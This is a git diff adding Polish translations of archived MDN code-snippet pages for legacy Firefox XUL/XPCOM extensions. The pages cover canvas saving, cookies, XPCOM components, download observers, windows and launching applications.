+ var io = Components.classes["@mozilla.org/network/io-service;1"]
+ .getService(Components.interfaces.nsIIOService);
+ var source = io.newURI(canvas.toDataURL("image/png", ""), "UTF8", null);
+ var target = io.newFileURI(file)
+
+ // przygotuj do zapisu dane
+ var persist = Components.classes["@mozilla.org/embedding/browser/nsWebBrowserPersist;1"]
+ .createInstance(Components.interfaces.nsIWebBrowserPersist);
+
+ persist.persistFlags = Components.interfaces.nsIWebBrowserPersist.PERSIST_FLAGS_REPLACE_EXISTING_FILES;
+ persist.persistFlags |= Components.interfaces.nsIWebBrowserPersist.PERSIST_FLAGS_AUTODETECT_APPLY_CONVERSION;
+
+ // wyświetl dialog pobierania pliku (usuń poniższe 3 linie, by go pominać)
+ var xfer = Components.classes["@mozilla.org/transfer;1"]
+ .createInstance(Components.interfaces.nsITransfer);
+ xfer.init(source, target, "", null, null, null, persist);
+ persist.progressListener = xfer;
+
+ // zapisz dane canvas do pliku
+ persist.saveURI(source, null, null, null, null, file);
+}
+</pre>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Code_snippets/Canvas", "fr": "fr/Extraits_de_code/Canvas", "ja": "ja/Code_snippets/Canvas" } ) }}
diff --git a/files/pl/fragmenty_kodu/ciasteczka/index.html b/files/pl/fragmenty_kodu/ciasteczka/index.html
new file mode 100644
index 0000000000..d606095f45
--- /dev/null
+++ b/files/pl/fragmenty_kodu/ciasteczka/index.html
@@ -0,0 +1,35 @@
+---
+title: Ciasteczka
+slug: Fragmenty_kodu/Ciasteczka
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Wszystkie_kategorie
+translation_of: Archive/Add-ons/Code_snippets/Cookies
+---
+<p>
+</p>
+<h3 id="Odczytywanie_istniej.C4.85cych_ciasteczek"> Odczytywanie istniejących ciasteczek </h3>
+<pre>var ios = Components.classes["@mozilla.org/network/io-service;1"]
+ .getService(Components.interfaces.nsIIOService);
+var uri = ios.newURI("http://www.google.com/", null, null);
+var cookieSvc =
+ Components.classes["@mozilla.org/cookieService;1"]
+ .getService(Components.interfaces.nsICookieService);
+var cookie = cookieSvc.getCookieString(uri, null);
+</pre>
+<p>Uwaga: Ciasteczka, wraz z ich nazwami i wartościami, mogą być <a href="pl/Kurs_XUL/Przyk%c5%82ady_XPCOM#Ciasteczka">iterowane poprzez XPCOM</a>.
+</p>
+<h3 id="Usuwanie_wszystkich_ciasteczek"> Usuwanie wszystkich ciasteczek </h3>
+<p>Poniższy kod demonstruje w jaki sposób usunąć wszystkie ciasteczka z Firefoksa/Seamonkey.
+</p>
+<pre class="eval">Components.classes["@mozilla.org/cookiemanager;1"]
+ .getService(Components.interfaces.nsICookieManager).removeAll();
+</pre>
+<h3 id="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> {{ Domxref("document.cookie") }}
+</li><li> {{ Interface("nsICookieService") }}, {{ Interface("nsICookieManager") }}, {{ Interface("nsICookieManager2") }}<br>(Dopóki dokumentacja jest w trakcie przenoszenia na MDC, użyj źródeł: {{ Source("netwerk/cookie/public/nsICookieService.idl", "nsICookieService") }}, {{ Source("netwerk/cookie/public/nsICookieManager.idl", "nsICookieManager") }}, {{ Source("netwerk/cookie/public/nsICookieManager2.idl", "nsICookieManager2") }}).
+</li></ul>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Code_snippets/Cookies", "fr": "fr/Extraits_de_code/Cookies", "ja": "ja/Code_snippets/Cookies" } ) }}
diff --git a/files/pl/fragmenty_kodu/index.html b/files/pl/fragmenty_kodu/index.html
new file mode 100644
index 0000000000..cb006749e7
--- /dev/null
+++ b/files/pl/fragmenty_kodu/index.html
@@ -0,0 +1,73 @@
+---
+title: Fragmenty kodu
+slug: Fragmenty_kodu
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Wszystkie_kategorie
+translation_of: Archive/Add-ons/Code_snippets
+---
+<p>
+</p><p>To jest szybka lista użytecznych fragmentów kodu (małe przykłady kodu) dostępna dla programistów rozszerzeń dla rozmaitych aplikacji Mozilli. Wiele z tych przykładów może zostać użyta w aplikacjach XULRunnera, jako faktycznie ten sam kod tak jak ma to miejsce w Mozilla.
+</p><p>Te przykłady zademonstrują, jak wykonać podstawowe zadania, które nie mogą być natychmiast oczywiste.
+</p>
+<h3 id="Og.C3.B3lne"> Ogólne </h3>
+<dl><dt> <a href="pl/Fragmenty_kodu/Okna">Kod okna</a>
+</dt><dd> <small>Otwieranie i manipulacja oknami</small>
+</dd></dl>
+<dl><dt> <a href="pl/Fragmenty_kodu/Paski_narz%c4%99dzi">Paski narzędzi</a>
+</dt><dd> <small>Kod odpowiadający za pasek narzędzi.</small>
+</dd></dl>
+<dl><dt> <a href="pl/Fragmenty_kodu/XML">XML</a>
+</dt><dd> <small>Kod służący do wklejania, pisania, manipulowania językiem XML.</small>
+</dd></dl>
+<dl><dt> <a href="pl/Fragmenty_kodu/Plik_I%2f%2fO">File I/O</a>
+</dt><dd> <small>Kod służący do czytania, pisania i plików przetwarzania.</small>
+</dd></dl>
+<dl><dt> <a href="pl/Fragmenty_kodu/Okienka_dialogowe">Okienka dialogowe</a>
+</dt><dd> <small>Kod służący do wyświetlenia i przetwarzania pudełek okna dialogowego.</small>
+</dd></dl>
+<dl><dt> <a href="pl/Fragmenty_kodu/Preferencje">Preferencje</a>
+</dt><dd> <small>Kod służący do czytania, pisania i modyfikowania preferencji.</small>
+</dd></dl>
+<dl><dt> <a href="pl/Fragmenty_kodu/JS_XPCOM">JS XPCOM</a>
+</dt><dd> <small>Kod służący do definiowania i wywoływania zwykłych komponentów XPCOM w JavaScript.</small>
+</dd></dl>
+<dl><dt> <a href="pl/Fragmenty_kodu/Uruchamianie_aplikacji">Uruchamianie aplikacji</a>
+</dt><dd> <small>Kod służący do uruchamiania różnych aplikacji.</small>
+</dd></dl>
+<dl><dt> <a href="pl/Fragmenty_kodu/Canvas"><code>&lt;canvas&gt;</code></a>
+</dt><dd> <small><a href="pl/HTML/Canvas">WHAT WG Canvas</a> - podobny kod.</small>
+</dd></dl>
+<dl><dt> <a href="pl/Fragmenty_kodu/R%c3%b3%c5%bcne">Różne</a>
+</dt><dd> <small>Różne użyteczne fragmenty kodu.</small>
+</dd></dl>
+<dl><dt> <a href="pl/Fragmenty_kodu/HTML_do_DOM">HTML do DOM</a>
+</dt><dd> <small>Kod służący do parsowania HTML-a do okna DOM za pomocą ukrytego elementu przeglądarki.</small>
+</dd></dl>
+<h3 id="Kod_zorientowany_na_przegl.C4.85darce"> Kod zorientowany na przeglądarce </h3>
+<dl><dt> <a href="pl/Fragmenty_kodu/Przegl%c4%85danie_w_kartach">Kod przeglądania w kartach</a> (Firefox/SeaMonkey)
+</dt><dd> <small>Proste operacje przeglądania w kartach, które jest sercem aplikacji przeglądarek Mozilli.</small>
+</dd></dl>
+<dl><dt> <a href="pl/Fragmenty_kodu/Ciasteczka">Ciasteczka</a>
+</dt><dd> <small>Czytanie, pisanie, modyfikowanie i usuwanie ciasteczek.</small>
+</dd></dl>
+<dl><dt> <a href="pl/Fragmenty_kodu/Wczytywanie_strony">Wczytywanie strony</a>
+</dt><dd> <small>Kod służący do wczytywania stron, przeładowywania stron i nasłuchiwania wczytywania stron.</small>
+</dd></dl>
+<dl><dt> <a href="pl/Fragmenty_kodu/Interakcja_pomi%c4%99dzy_stronami_uprzywilejowanymi_i_stronami_bez_przywilej%c3%b3w">Kod interakcji pomiędzy stronami uprzywilejowanymi i stronami bez przywilejów</a>
+</dt><dd> <small>Jak odbywa się komunikacja pomiędzy rozszerzeniami i stronami i vice-versa.</small>
+</dd></dl>
+<dl><dt> <a href="pl/Fragmenty_kodu/Obserwator_pobierania_danych">Obserwator pobierania danych</a>
+</dt><dd> <small>Przykład obserwatora pobierania w Menedżerze pobierania Firefoksa.</small>
+</dd></dl>
+<h3 id="Specyfikacja_okna"> Specyfikacja okna </h3>
+<dl><dt> <a href="pl/Fragmenty_kodu/Znajdowanie_uchwyt%c3%b3w_okna">Znajdowanie uchwytów okna (HWND)</a> (Firefox)
+</dt><dd> <small>Jak stosować API okna do wywołania szukania różnorodnych rodzajów uchwytów okna Mozilla. Uchwyty okna mogą być stosowane dla celów IPC i dostępności.</small>
+</dd></dl>
+<dl><dt> <a href="pl/Dost%c4%99p_do_rejestracji_okna_stosuj%c4%85c_XPCOM">Zastosowanie rejestracji okna z XPCOM</a>
+</dt><dd> <small>Jak czytać, pisać, modyfikować, usunąć, przeliczyć i przeglądać klucze rejestru i ich wartości.</small>
+</dd></dl>
+<h3 id="Odno.C5.9Bniki_zewn.C4.99trzne"> Odnośniki zewnętrzne </h3>
+<p>Zawartość strony <a class="external" href="http://kb.mozillazine.org/Category:Example_code">MozillaZine z przykładowym kodem</a> jest pomału przenoszona, co nie znaczy, że nie znajdziecie tam jeszcze wielu użytecznych przykładów.
+</p>{{ languages( { "en": "en/Code_snippets", "fr": "fr/Extraits_de_code", "ja": "ja/Code_snippets", "ko": "ko/Code_snippets" } ) }}
diff --git a/files/pl/fragmenty_kodu/js_xpcom/index.html b/files/pl/fragmenty_kodu/js_xpcom/index.html
new file mode 100644
index 0000000000..33b1dafcd2
--- /dev/null
+++ b/files/pl/fragmenty_kodu/js_xpcom/index.html
@@ -0,0 +1,125 @@
+---
+title: JS XPCOM
+slug: Fragmenty_kodu/JS_XPCOM
+tags:
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Add-ons/Code_snippets/JS_XPCOM
+---
+<p>Na tej stronie znajduje się kilka fragmentów kodu, użytecznych przy tworzeniu z komponentami XPCOM w JavaScript.</p>
+
+<h3 id="Contract_IDs" name="Contract_IDs">ID kontraktów</h3>
+
+<p>ID kontraktu przyznaje unikalną nazwę dla obiektu XPCOM. ID używane są do tworzenia lub uzyskiwania dostępu do obiektów XPCOM.</p>
+
+<h3 id="Interfaces" name="Interfaces">Interfejsy</h3>
+
+<p>Wszystkie obiekty XPCOM implementują jeden lub więcej interfejsów. Interfejs jest, upraszczając, listą stałych i metod, które można wywołać przez obiekt. Przykładem jest <a href="/pl/NsIFile" title="pl/NsIFile">nsIFile</a>. Każdy obiekt XPCOM musi posiadać zaimplementowany interfejs <a href="/pl/NsISupports" title="pl/NsISupports">nsISupports</a>.</p>
+
+<h3 id="Accessing_XPCOM_components_from_JavaScript" name="Accessing_XPCOM_components_from_JavaScript">Uzyskiwanie dostępu do komponentów XPCOM z poziomu JavaScript</h3>
+
+<p>Obiekty XPCOM są tworzone jako nowe instacje (każda oznacza kompletnie nowy obiekt) lub jako usługi (każdy dostęp dotyczy tego samego obiektu, nazywanego singletonem). Od danego obiektu zależy to, czy musisz stworzyć instację czy dostęp poprzez usługę. Chronologicznie, by dostać się do obiektu XPCOM, musisz znać ID kontraktu obiektu oraz interfejs, który chciałbyś na nim użyć.</p>
+
+<h4 id="Creating_an_instance_of_a_component" name="Creating_an_instance_of_a_component">Tworzenie instancji komponentu</h4>
+
+<pre>var component = Components.classes["@mozilla.org/file/local;1"]
+ .createInstance(Components.interfaces.nsIFile);
+</pre>
+
+<p>Powyższy kod tworzy nową instację obiektu z ID kontraktu <code>@mozilla.org/file/local;1</code> i daje ci możliwość wywoływania metody interfejsu <a href="/pl/NsIFile" title="pl/NsIFile">nsIFile</a> na ID.</p>
+
+<h4 id="Getting_an_XPCOM_service" name="Getting_an_XPCOM_service">Otrzymywanie usługi XPCOM</h4>
+
+<pre>var preferences = Components.classes["@mozilla.org/preferences-service;1"]
+ .getService(Components.interfaces.nsIPrefService);
+</pre>
+
+<p>Dzięki temu fragmentowi kodu, możesz wywoływać metody interfejsu <code><a href="/pl/NsIPrefService" title="pl/NsIPrefService">nsIPrefService</a></code> na preferencjach obiektu.</p>
+
+<h4 id="Getting_a_different_interface_for_a_component" name="Getting_a_different_interface_for_a_component">Otrzymywanie różnych interfejsów jednego komponentu</h4>
+
+<p>Niektóre komponenty posiadają możliwość implementacji więcej niż jednego interfejsu. Czasami JavaScript zna wszystkie wszystkie możliwe dla komponentu interfejsu, ale w większości przypadków będziesz samodzielnie to sprawdzić. Z preferencjami usługi z poprzedniego przykładu, możemy napisać dalej:</p>
+
+<pre>preferences = preferences.QueryInterface(Components.interfaces.nsIPrefBranch2);
+</pre>
+
+<p>Powyższa linijka umożliwia ci używanie metod interfejsu <code><a href="/pl/NsIPrefBranch2" title="pl/NsIPrefBranch2">nsIPrefBranch2</a></code>.</p>
+
+<h3 id="Implementing_XPCOM_components_in_JavaScript" name="Implementing_XPCOM_components_in_JavaScript">Implementacja komponentów XPCOM w JavaScript</h3>
+
+<p>Poniżej znajduje się prosty zalążek komponentu XPCOM w JavaScript. W dokładnie takiej kolejności, musisz wykonać następujące kroki:</p>
+
+<ul>
+ <li>Zmienić 3 łańcuchy na początku initModule na własne.</li>
+ <li>Zmienić testowanie w metodzie QueryInterface umożliwiając sobie pracę z obojętnie jakimi interfejsami, które zaimplementujesz.</li>
+ <li>Dodać do prototypu metody, które pojawią się w implementowanym interfejsie.</li>
+ <li>Dodać kody inicjacji do konstruktora ExampleComponent.</li>
+</ul>
+
+<pre>function ExampleComponent()
+{
+ // Dodaj tutaj inicjację twego komponentu.
+}
+
+ExampleComponent.prototype = {
+QueryInterface: function(iid)
+{
+ if (iid.equals(Components.interfaces.myInterface)
+ || iid.equals(Ci.nsISupports))
+ {
+ return this;
+ }
+ else
+ {
+ throw Components.results.NS_ERROR_NO_INTERFACE;
+ }
+}
+};
+
+var initModule =
+{
+ ServiceCID: Components.ID("{examplee-xamp-leex-ampl-eexampleexam}"), // Insert a guid in the quotes
+ ServiceContractID: "@example.com/example;1", // W cudzysłowiach wpisz ID kontraktu
+ ServiceName: "", // W cudzysłowiach wpisz nazwę
+
+ registerSelf: function (compMgr, fileSpec, location, type)
+ {
+ compMgr = compMgr.QueryInterface(Ci.nsIComponentRegistrar);
+ compMgr.registerFactoryLocation(this.ServiceCID,this.ServiceName,this.ServiceContractID,
+ fileSpec,location,type);
+ },
+
+ unregisterSelf: function (compMgr, fileSpec, location)
+ {
+ compMgr = compMgr.QueryInterface(Ci.nsIComponentRegistrar);
+ compMgr.unregisterFactoryLocation(this.ServiceCID,fileSpec);
+ },
+
+ getClassObject: function (compMgr, cid, iid)
+ {
+ if (!cid.equals(this.ServiceCID))
+ throw Components.results.NS_ERROR_NO_INTERFACE
+ if (!iid.equals(Components.interfaces.nsIFactory))
+ throw Components.results.NS_ERROR_NOT_IMPLEMENTED;
+ return this.instanceFactory;
+ },
+
+ canUnload: function(compMgr)
+ {
+ return true;
+ },
+
+ instanceFactory:
+ {
+ createInstance: function (outer, iid)
+ {
+ if (outer != null)
+ throw Components.results.NS_ERROR_NO_AGGREGATION;
+ return new ExampleComponent().QueryInterface(iid);
+ }
+ }
+}; //Module
+
+function NSGetModule(compMgr, fileSpec)
+{
+ return initModule;
+}</pre>
diff --git a/files/pl/fragmenty_kodu/obserwator_pobierania_danych/index.html b/files/pl/fragmenty_kodu/obserwator_pobierania_danych/index.html
new file mode 100644
index 0000000000..980a33c800
--- /dev/null
+++ b/files/pl/fragmenty_kodu/obserwator_pobierania_danych/index.html
@@ -0,0 +1,59 @@
+---
+title: Obserwator pobierania danych
+slug: Fragmenty_kodu/Obserwator_pobierania_danych
+translation_of: Archive/Add-ons/Code_snippets/Downloading_Files
+---
+<p>Przykład obserwatora pobierania danych dla menedżera pobierania plików Firefoksa:</p>
+<pre>// ******************************
+// DownloadObserver
+// ******************************
+function sampleDownload_init(){
+ //**** Add download observer
+ var observerService = Components.classes["@mozilla.org/observer-service;1"]
+ .getService(Components.interfaces.nsIObserverService);
+ observerService.addObserver(sampleDownloadObserver, "dl-start", false);
+ observerService.addObserver(sampleDownloadObserver, "dl-done", false);
+ observerService.addObserver(sampleDownloadObserver, "dl-cancel", false);
+ observerService.addObserver(sampleDownloadObserver, "dl-failed", false);
+
+ window.addEventListener("unload", function() {
+ observerService.removeObserver(sampleDownloadObserver, "dl-start");
+ observerService.removeObserver(sampleDownloadObserver, "dl-done");
+ observerService.removeObserver(sampleDownloadObserver, "dl-cancel");
+ observerService.removeObserver(sampleDownloadObserver, "dl-failed");
+ }, false);
+}
+var sampleDownloadObserver = {
+ observe: function (subject, topic, state) {
+ var oDownload = subject.QueryInterface(Components.interfaces.nsIDownload);
+ //**** Get Download file object
+ var oFile = null;
+ try{
+ oFile = oDownload.targetFile; // New firefox 0.9+
+ } catch (e){
+ oFile = oDownload.target; // Old firefox 0.8
+ }
+ //**** Download Start
+ if (topic == "dl-start"){
+ alert('Start download to - '+oFile.path);
+ }
+ //**** Download Cancel
+ if(topic == "dl-cancel"){
+ alert('Canceled download to - '+oFile.path);
+ }
+ //**** Download Failed
+ else if(topic == "dl-failed"){
+ alert('Failed download to - '+oFile.path);
+ }
+ //**** Download Successs
+ else if(topic == "dl-done"){
+ alert('Done download to - '+oFile.path);
+ }
+ }
+}
+window.addEventListener("load", sampleDownload_init, false);
+</pre>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/Code_snippets/Downloading_Files", "fr": "fr/Extraits_de_code/Observateur_de_t\u00e9l\u00e9chargement", "ja": "ja/Code_snippets/Download_Observer" } ) }}</p>
diff --git a/files/pl/fragmenty_kodu/okna/index.html b/files/pl/fragmenty_kodu/okna/index.html
new file mode 100644
index 0000000000..46e98679a1
--- /dev/null
+++ b/files/pl/fragmenty_kodu/okna/index.html
@@ -0,0 +1,86 @@
+---
+title: Okna
+slug: Fragmenty_kodu/Okna
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Archive/Add-ons/Code_snippets/Windows
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<div>{{LegacyAddonsNotice}}</div>
+
+<h3 id="Otwieranie_nowych_okien_przegl.C4.85darki" name="Otwieranie_nowych_okien_przegl.C4.85darki">Otwieranie nowych okien przeglądarki</h3>
+
+<p>Aby otworzyć nowe okno przeglądarki, po prostu użyj <code>window.open()</code>. Jednak <code>window.open()</code> zwraca obiekt <code>Window</code> dla zawartości, nie dla samego okna przeglądarki, powinieneś więc najpierw pobrać <code>Window</code> z chrome. Najprostszym na to sposobem jest użycie <a href="pl/NsIWindowMediator">nsIWindowMediator</a>.</p>
+
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+
+<p> </p>
+
+<pre class="eval">window.open();
+var wm = Components.classes["@mozilla.org/appshell/window-mediator;1"]
+ .getService(Components.interfaces.nsIWindowMediator);
+var newWindow = wm.getMostRecentWindow("navigator:browser");
+var b = newWindow.getBrowser();
+// dlaczego to robimy? nigdy nie robimy czegokolwiek z |b|
+</pre>
+
+<h3 id="Przesuwalne_okna" name="Przesuwalne_okna">Przesuwalne okna</h3>
+
+<p>Aby uczynić okna przesuwalnymi przez kliknięcie na ich zawartość, możesz użyć procedur obsługi zdarzeń <code>mousedown</code> i <code>mousemove</code>. Poniższy kod nie zważa na to, na który element kliknęliśmy, po prostu odpowiada na wszystkie zdarzenia tego typu. Możesz wzbogacić ten kod przez zaznaczenie zdarzenia. Docelowy element i tylko ustawienie <code>startPos</code>, jeśli ten element pasuje do zadanych kryteriów.</p>
+
+<h4 id="Przyk.C5.82ad_2" name="Przyk.C5.82ad_2">Przykład</h4>
+
+<p> </p>
+
+<pre class="eval">var startPos=0;
+var mouseDown = function(event) {
+ startPos = [ event.clientX, event.clientY];
+}
+var mouseMove = function(event) {
+ if (startPos != 0) {
+ var newX = event.screenX-startPos[0];
+ var newY = event.screenY-startPos[1];
+ window.moveTo(newX,newY);
+ }
+}
+var mouseUp = function(event) {
+ startPos=0;
+}
+
+window.addEventListener("mousedown",mouseDown, false);
+window.addEventListener("mouseup",mouseUp, false);
+window.addEventListener("mousemove",mouseMove, false);
+</pre>
+
+<p> </p>
+
+<p> </p>
+
+<h4 id="XUL_Titlebar_Element" name="XUL_Titlebar_Element">XUL Titlebar Element</h4>
+
+<p>Aplikacje XUL wykorzystują <a href="pl/XUL/titlebar">Titlebar</a> element, aby osiągnąć podobny rezultat bez dodatkowego kodu JavaScript.</p>
+
+<h3 id="Re-using_and_focusing_named_windows" name="Re-using_and_focusing_named_windows">Re-using and focusing named windows</h3>
+
+<p>While specifying the name parameter to <a href="pl/DOM/window.open">window.open</a> or <a href="pl/DOM/window.openDialog">window.openDialog</a> will prevent multiple windows of that name from opening, each call will actually re-initialize the window and thus lose whatever state the user has put it in. Additionally, if the window is in the background, it may not be brought to the front. This code will check for a window of the provided name. If it finds one, it focuses it. If it doesn't, it opens one.</p>
+
+<pre class="eval">var windowName = "yourWindowName";
+var windowsMediator = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator);
+var win = windowsMediator.getMostRecentWindow(windowName);
+if (win)
+ win.focus();
+else
+ window.open("<a class="external" rel="freelink">chrome://to/your/window.xul</a>", windowName, "features");
+</pre>
+
+<h3 id="Inne_.C5.BAr.C3.B3d.C5.82a" name="Inne_.C5.BAr.C3.B3d.C5.82a">Inne źródła</h3>
+
+<ul>
+ <li>Więcej o <a href="pl/Praca_z_oknami_w_kodzie_chrome">pracy z oknami w kodzie chrome</a>.</li>
+</ul>
diff --git a/files/pl/fragmenty_kodu/różne/index.html b/files/pl/fragmenty_kodu/różne/index.html
new file mode 100644
index 0000000000..a60d8fedf0
--- /dev/null
+++ b/files/pl/fragmenty_kodu/różne/index.html
@@ -0,0 +1,103 @@
+---
+title: Różne
+slug: Fragmenty_kodu/Różne
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Archive/Add-ons/Code_snippets/Miscellaneous
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}} Tutaj znajdują się krótkie, służące do nauki, fragmenty kodu.</p>
+
+<h3 id="Zapisywanie_strony_internetowej_do_lokalnego_pliku" name="Zapisywanie_strony_internetowej_do_lokalnego_pliku">Zapisywanie strony internetowej do pliku</h3>
+
+<p>Poniższy kod nie pyta użytkownika o nazwę pliku, jednak możesz użyć do tego <a href="/pl/Fragmenty_kodu/Plik_I//O#User_input_via_nsIFilePicker" title="pl/Fragmenty_kodu/Plik_I//O#User_input_via_nsIFilePicker">file picker component</a>.</p>
+
+<pre>var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
+file.initWithPath("C:\\filename.html");
+var wbp = Components.classes['@mozilla.org/embedding/browser/nsWebBrowserPersist;1']
+ .createInstance(Components.interfaces.nsIWebBrowserPersist);
+wbp.saveDocument(content.document, file, null, null, null, null);
+</pre>
+
+<h3 id="Wykrywanie_systemu_operacyjnego" name="Wykrywanie_systemu_operacyjnego">Wykrywanie systemu operacyjnego</h3>
+
+<pre>// Zwraca WINNT, gdy jest to Windows XP, 2000, NT
+Components.classes["@mozilla.org/xre/app-info;1"].getService(Components.interfaces.nsIXULRuntime).OS;
+</pre>
+
+<p>Lista możliwych odpowiedzi przy używaniu LXR: <a class="external" href="http://lxr.mozilla.org/mozilla/source/configure.in#910" rel="freelink">http://lxr.mozilla.org/mozilla/sourc...nfigure.in#910</a>.</p>
+
+<h3 id="Wykrywanie_g.C5.82.C3.B3wnej_aplikacji_i_jej_wersji" name="Wykrywanie_g.C5.82.C3.B3wnej_aplikacji_i_jej_wersji">Wykrywanie głównej aplikacji i jej wersji</h3>
+
+<pre>var info = Components.classes["@mozilla.org/xre/app-info;1"].getService(Components.interfaces.nsIXULAppInfo);
+// Pobiera nazwę uruchomionej aplikacji
+info.name; // Zwraca "Firefox" dla Firefoksa
+info.version; // Zwraca "2.0.0.1" dla Firefoksa w wersji 2.0.0.1
+</pre>
+
+<h3 id="Odzyskiwanie_wersji_rozszerzenia_jaka_jest_okre.C5.9Blona_w_pliku_install.rdf_rozszerzenia" name="Odzyskiwanie_wersji_rozszerzenia_jaka_jest_okre.C5.9Blona_w_pliku_install.rdf_rozszerzenia">Odzyskiwanie wersji rozszerzenia jaka jest określona w pliku install.rdf</h3>
+
+<pre>var em = Components.classes["@mozilla.org/extensions/manager;1"]
+ .getService(Components.interfaces.nsIExtensionManager);
+
+// Change extension-guid to the GUID of the extension whose version you want to retrieve;
+// np. foxyproxy@eric.h.jung dla FoxyProxy
+var addon = em.getItemForID("&lt;extension-guid&gt;");
+var version = addon.version;
+</pre>
+
+<h3 id="Kopiowanie_ze_strumienia_wej.C5.9Bcia_i_wyj.C5.9Bcia" name="Kopiowanie_ze_strumienia_wej.C5.9Bcia_i_wyj.C5.9Bcia">Kopiowanie ze strumienia wejścia i wyjścia</h3>
+
+<pre>// istream jest nsIInputStream i ostream jest nsIOutputStream
+
+// strumień wyjścia potrzebuje buforowania do swojej pracy.
+var bostream = Components.classes["@mozilla.org/network/buffered-output-stream;1"]
+ .createInstance(Components.interfaces.nsIBufferedOutputStream);
+bostream.init(ostream, 0x8000);
+
+// make a stream pump and a stream listener to read from the input stream for us
+var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]
+ .createInstance(Components.interfaces.nsIInputStreamPump);
+pump.init(istream, -1, -1, 0, 0, true);
+
+/* we need our own observer to know when to close the file */
+var observer = {
+ onStartRequest: function(aRequest, aContext) {},
+ onStopRequest: function(aRequest, aContext, aStatusCode) {
+ bostream.close();
+ }
+};
+
+// make a simple stream listener to do the writing to output stream for us
+var listener = Components.classes["@mozilla.org/network/simple-stream-listener;1"]
+ .createInstance(Components.interfaces.nsISimpleStreamListener);
+listener.init(bostream, observer);
+
+// rozpoczyna kopiowanie
+pump.asyncRead(listener, null);
+</pre>
+
+<h3 id="Ponowne_uruchamianie_Firefoksa.2FThunderbird" name="Ponowne_uruchamianie_Firefoksa.2FThunderbird">Ponowne uruchamianie Firefoksa/Thunderbird</h3>
+
+<pre class="eval">var nsIAppStartup = Components.interfaces.nsIAppStartup;
+Components.classes["@mozilla.org/toolkit/app-startup;1"].getService(nsIAppStartup)
+ .quit(nsIAppStartup.eForceQuit | nsIAppStartup.eRestart);
+</pre>
+
+<h3 id="Symulacja_zdarze.C5.84_myszy_i_klawiatury" name="Symulacja_zdarze.C5.84_myszy_i_klawiatury">Symulacja zdarzeń myszy i klawiatury</h3>
+
+<p>Interfejs <a href="/pl/NsIDOMWindowUtils" title="pl/NsIDOMWindowUtils">nsIDOMWindowUtils</a> stanowi metodę pomocy w symulacji zdarzeniami myszy i klawiatury.</p>
+
+<p>Nowość w <a href="/pl/Firefox_3_dla_programist%C3%B3w" title="pl/Firefox_3_dla_programistów">Firefoksie 3</a> / Gecko 1.9</p>
+
+<pre>var req = window.QueryInterface(Components.interfaces.nsIInterfaceRequestor);
+var utils = req.getInterface(Components.interfaces.nsIDOMWindowUtils);
+utils.sendMouseEvent("mousedown", 10, 10, 0, 1, 0);
+utils.sendMouseEvent("mouseup", 10, 10, 0, 1, 0);
+</pre>
diff --git a/files/pl/fragmenty_kodu/uruchamianie_aplikacji/index.html b/files/pl/fragmenty_kodu/uruchamianie_aplikacji/index.html
new file mode 100644
index 0000000000..ed30742f72
--- /dev/null
+++ b/files/pl/fragmenty_kodu/uruchamianie_aplikacji/index.html
@@ -0,0 +1,59 @@
+---
+title: Uruchamianie aplikacji
+slug: Fragmenty_kodu/Uruchamianie_aplikacji
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Archive/Add-ons/Code_snippets/Running_applications
+---
+<div class="blockIndicator warning">
+<p>SupAdded a note about documentation removal as extensions using XUL/XPCOM or the Add-on SDK are no longer supported in Firefox.port for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}} Poniższy artykuł opisuje jak uruchamiać inne programy z kodu JavaScriptu używając interfejsów XPCOM Mozilli. Istnieją dwa sposoby na uruchamianie programów. Pierwszy to użycie metody <code><a href="pl/NsILocalFile/launch">nsILocalFile:launch</a></code>, a drugi to użycie interfejsu <code><a class="external" href="http://xulplanet.com/references/xpcomref/ifaces/nsIProcess.html">nsIProcess</a></code>.</p>
+
+<h3 id="U.C5.BCycie_nsILocalFile.launch.28.29" name="U.C5.BCycie_nsILocalFile.launch.28.29">Użycie nsILocalFile.launch()</h3>
+
+<p>Ta metoda posiada taki sam efekt jak podwójne kliknięcie na pliku tak więc dla plików wykonywalnych—zostanie po prostu wykonany dany plik bez parametrów. Może być ona nie dająca się implementować na niektórych platformach tak więc upewnij się, że nie ma to miejsca na twojej platformie docelowej.</p>
+
+<p>Więcej informacji odnośnie <code><a href="pl/NsIFile">nsIFile</a></code>/<code><a href="pl/NsILocalFile">nsILocalFile</a></code>, uzyskasz w artykule <a href="pl/Fragmenty_kodu/Plik_I%2f%2fO">File I/O</a>.</p>
+
+<pre class="eval">var file = Components.classes["@mozilla.org/file/local;1"]
+ .createInstance(Components.interfaces.nsILocalFile);
+file.initWithPath("c:\\myapp.exe");
+file.launch();
+</pre>
+
+<h3 id="U.C5.BCycie_nsIProcess" name="U.C5.BCycie_nsIProcess">Użycie nsIProcess</h3>
+
+<p>Rekomendowane użycie interfejsu <a class="external" href="http://xulplanet.com/references/xpcomref/ifaces/nsIProcess.html">nsIProcess</a>:</p>
+
